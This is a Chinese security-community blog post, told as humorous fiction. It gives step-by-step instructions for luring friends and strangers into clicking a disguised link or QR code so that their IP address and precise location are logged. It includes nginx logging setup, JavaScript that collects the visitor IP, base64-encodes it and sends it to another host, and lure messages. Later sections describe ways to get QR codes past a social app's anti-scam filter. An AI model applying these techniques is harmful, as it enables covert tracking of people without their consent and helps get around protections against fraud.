查看原文
其他

原创 | 我在人间凑数的日子---网恋篇(一)

哄哄 SecIN技术平台 2022-08-31

点击蓝字




关注我们



导语



Part 1

本文纯属虚构,请勿联系实际生活,部分内容可能引用,如有侵权联系删除。

本篇涉及知识点如下:

web服务搭建  html页面编写,获取IP,简单加密  短网址伪装  二维码伪装  高精度定位  二维码检测绕过与思路拓展微信好友申请与聊天拉扯

正文



Part 2

每天早上都想干翻这个世界,晚上回到家被这个世界干的服服帖帖,被生活疯狂折磨,但依然热爱生活。 


一觉醒来,发现今天并没有发生改变,于是准备找朋友沟通一下感情。

一、web服务搭建

1.安装web服务
使用ubuntu安装nginx

# 切换至root用户sudo su rootapt-get install nginx

2.命令执行完毕后,查看是否安装成功

nginx -v

3.启动nginx

service nginx start

启动后,在网页重输入ip,即可看到nginx的欢迎页面,至此nginx安装成功.

4.默认存放日志目录:/var/log/nginx/

access.log文件为访问日志,会记录访问的IP地址

5.只要将特定的地址发送给目标访问,之后查看日志即可。

二、Html页面编写与伪装

1.正常直接给目标发送一个地址会很奇怪,所以简单伪装下增强下迷惑性。
到网站web目录下,建一个hi.html文件,内容输入hi~
访问一下,可正常访问

查看日志记录,可以看到访问IP。

2.百度短链接转换,将地址转换为短链接,然后发送给目标即可。

3.找个群聊测试一下效果。

等待10几分钟,没人理我...

看来没有吸引力,再加上一点诱惑语言,吸引一下,果然诱惑性语言是走向成功的基石。

4.百度js获取ip地址,找到一个三方js,尝试一下

http://www.xiuc.top:8188/page/mob/index.html

获取ip,弹窗代码

< script src="http://www.xiuc.top/i.js"></script> < script> io(ip())</script>

弹窗测试效果图

5.给ip进行下base64编码,再来个重定向。

<html> < script src="http://www.xiuc.top/i.js"></script> < script> Base64 = { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function (e) { var t = ""; var n, r, i, s, o, u, a; var f = 0; e = Base64._utf8_encode(e); while (f < e.length) { n = e.charCodeAt(f++); r = e.charCodeAt(f++); i = e.charCodeAt(f++); s = n >> 2; o = (n & 3) << 4 | r >> 4; u = (r & 15) << 2 | i >> 6; a = i & 63; if (isNaN(r)) { u = a = 64 } else if (isNaN(i)) { a = 64 } t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a) } return t }, decode: function (e) { var t = ""; var n, r, i; var s, o, u, a; var f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = this._keyStr.indexOf(e.charAt(f++)); o = this._keyStr.indexOf(e.charAt(f++)); u = this._keyStr.indexOf(e.charAt(f++)); a = this._keyStr.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } t = Base64._utf8_decode(t); return t }, _utf8_encode: function (e) { e = e.replace(/rn/g, "n"); var t = ""; for (var n = 0; n < e.length; n++) { var r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r) } else if (r > 127 && r < 2048) { t += String.fromCharCode(r >> 6 | 192); t += String.fromCharCode(r & 63 | 128) } else { t += String.fromCharCode(r >> 12 | 224); t += String.fromCharCode(r >> 6 & 63 | 128); t += String.fromCharCode(r & 63 | 128) } } return t }, _utf8_decode: function (e) { var t = ""; var n = 0; var r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t }}var encodedString = Base64.encode(ip()); ic( encodedString ); to('http://xxx.com/hi.html',{ token:encodedString}) </script></html>

效果图如下

6.这样也可以解密日志中的base64来得到IP,这个是第三方的IP来源维度,可以和服务器自带的做一个对比,也可以做成别的自定义加密方式。

7.当目标点击后百度高精度的定位网站,查一下,如下

http://www.chaipip.com/aiwen.html

效果图


收获到一个跳跳企鹅,是不是很好玩。


8.为了测试准确性,多换几个目标进行测试

不禁让人感叹,现在的人越来越聪明了。不过这波不亏,毕竟没人让我说,中国人不骗中国人。

9.看来大家对链接还是有一定的警惕性,再次略作思索,如果换成领红包的二维码呢?

百度在线二维码制作,输入短网址,生成二维码。

对二维码进行美化,加图标和文字。


看起来还不错,再换个好友测试一下


这波分析太到位了。不愧是大佬行为。于是我只好用出终极社工杀手锏。

完美得到地址,但是相对来说,人们对二维码的警惕性还是要比陌生链接低,再比如说扫描二维码问卷调查领红包呢?是不是更有真实性。所以提醒大家不要轻易扫码哦。

三、二维码检测绕过

接着开始闲聊,朋友说在社交,在朋友的推荐下决定尝试拓展一下社交圈

结果下载软件后一番操作,已读未回...

看起来是个坏消息,但是问题不大。
渔夫每次出海前都不知道鱼在哪里,但他还是坚持出海,因为他相信自己一定能满载而归。

经过长期操作,终于匹配到一个幸运网友,经过一番对话后,开始正题。

作为一个刚认识的网友,我的拒绝合情合理,所以我准备下线了,但是。

谁能拒绝一个可怜的深山里卖茶叶的小姑娘呢。

女人,你成功的引起了我的注意,等待良久...

内心的正义感在燃烧,所以,为了帮助她,我决定研究一下。
刚好之前制作二维码,直接拿来测试,一个红色,提示发送失败,可恶!

既然二维码是图片,那猜测应该是把图片还原进行检测的。尝试一下模糊图片发送,结果失败

看来需要了解一下如何识别图片中的二维码,根据网络搜索来的信息和经验结合,首先,我们识别一个东西,是根据特征来确定的,二维码应该也是如此。

二维码的特点,如下图:

有三个“回“字形图案,中间的一个点位于图案的左上角,之所以这样设计是因为图像偏转,也可以根据此特征来纠正,也就是说识别二维码,就是识别二维码的三个点。

接下来,逐步分析一下这三个点的特性:

1.每个点有两个轮廓。就是两个口,大“口”内部有一个小“口”,所以是两个轮廓。

2.如果把这个“回”放到一个白色的背景下,从左到右,或从上到下画一条线。这条线经过的 图案黑白比例大约为:黑白比例为1:1:3:1:1。

3.如何找到左上角的顶点?这个顶点与其他两个顶点的夹角为90度。

通过上面几个步骤,就能识别出二维码的三个顶点,并且识别出左上角的顶点。

通俗讲如下图得到 A、B、C三个回型点来告诉程序它是一个二维码,可以对其解析。

我们将B点进行打码,拿微信的二维码识别验证一下,可以看到没有识别二维码的按钮

再使用扫一扫验证,无法识别

根据上面的实验,我们只需把A、B、C三个回中的任意一个打码即可让程序认为它不是个二维码。

接着我们回到社交软件发送我们打码后的二维码。

在这里有个问题,我打码后的二维码即使能发出去但是别人识别不了,哪有啥用?
问的好,下次不要这么问了。
首先,因为打码的二维码还没发送成功,所以你这个问题没意义,下一位。

尝试发送打码的二维码,提示发送失败,该软件认为这是一个二维码。

根据此反馈我们应该可以确认该软件是没有“真正”的去识别二维码的,只要相似就会提示,这就给了我们机会,那猜测他们识别策略是类似有一批样本,之后拿发送的图片进行一个对比,如果识别度达到多少,就会提示是二维码。

那么相应的我们就需要一张有二维码,但和常规二维码不一样的二维码。

于是,我尝试把二维码缩小,截取一张大图才进行发送。


经过反复测试对比,发现只要正常二维码大小,小于整张图的1/25,可以放N个都不会被识别到,并且微信图片识别二维码和扫一扫,包括肉眼都可以正常识别,那么问题基本解决。

继续对几个功能测试,发现可以拍摄表情包,主要为gif动图,尝试直接把动图二维码放上去,提示红色感叹号。

测试拍摄其他内容,中间夹杂二维码,发现可正常发送。
同理视频中携带二维码应该也可以正常发送,但此功能需要互相关注才可。

目前我们有了三种途径来绕过发送二维码:

1.二维码缩小绕过检测发送2.gif动图夹杂二维码发送3.视频夹杂二维码发送(需互关)

四、二维码检测绕过思路拓展

那么除此之外,还有什么方法可以绕过检测呢?
思考片刻,既然检测的是图片,那么换个载体承载信息呢?
于是尝试以下几个思路

1.参考仓颉造字,那造个二维码的字好不好2.参考网友的颜文字神兽图案,组装一个二维码

关于造字,经过一系列百度,可以利用windows的造字程序。

以win10为例,在搜索中输入“专用字符编辑程序” 查找

打开程序后一路默认直接创做即可


字符集选择Unicode .保存
之后点击编辑,复制字符

输入对应的代码到右侧

右击复制

再新建一个txt文档粘贴即可,演示效果如下

可惜的是由于对方没有对应的字符集,只能本地玩玩。

第二种方案就是类似如下神兽,利用符号组合成二维码进行发送

思路到此结束。

五、聊天拉扯

最后,根据测试结果比对,通过缩小二维码绕过检测进行发送,无疑是当下最优的方法。
赶紧拿我们的方法来告诉卖茶的阿花,顺带展示下我们的实力。

可是等待了10分钟,对方还是没有把二维码发给我们,难道被识破了?沉浸式思考...

好你个网友,本以为想骗我扫码买茶叶,兜兜转转,原来是想得到我微信,这该死的魅力。


3,2,1...


尾结



Part 3

人间的真话本就不多, 一个女子的脸红胜过一大片情话。可后来有了胭脂,便分不清是真情还是假意。但现在又有了腮红, 更遑论谁是有意无意。未完待续...



往期推荐



原创 | java安全-java反序列化之URLDNS

原创 | CVE-2022-21999

原创 | 挖掘DLL劫持漏洞-白加黑的实现


点个在看 再走吧

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存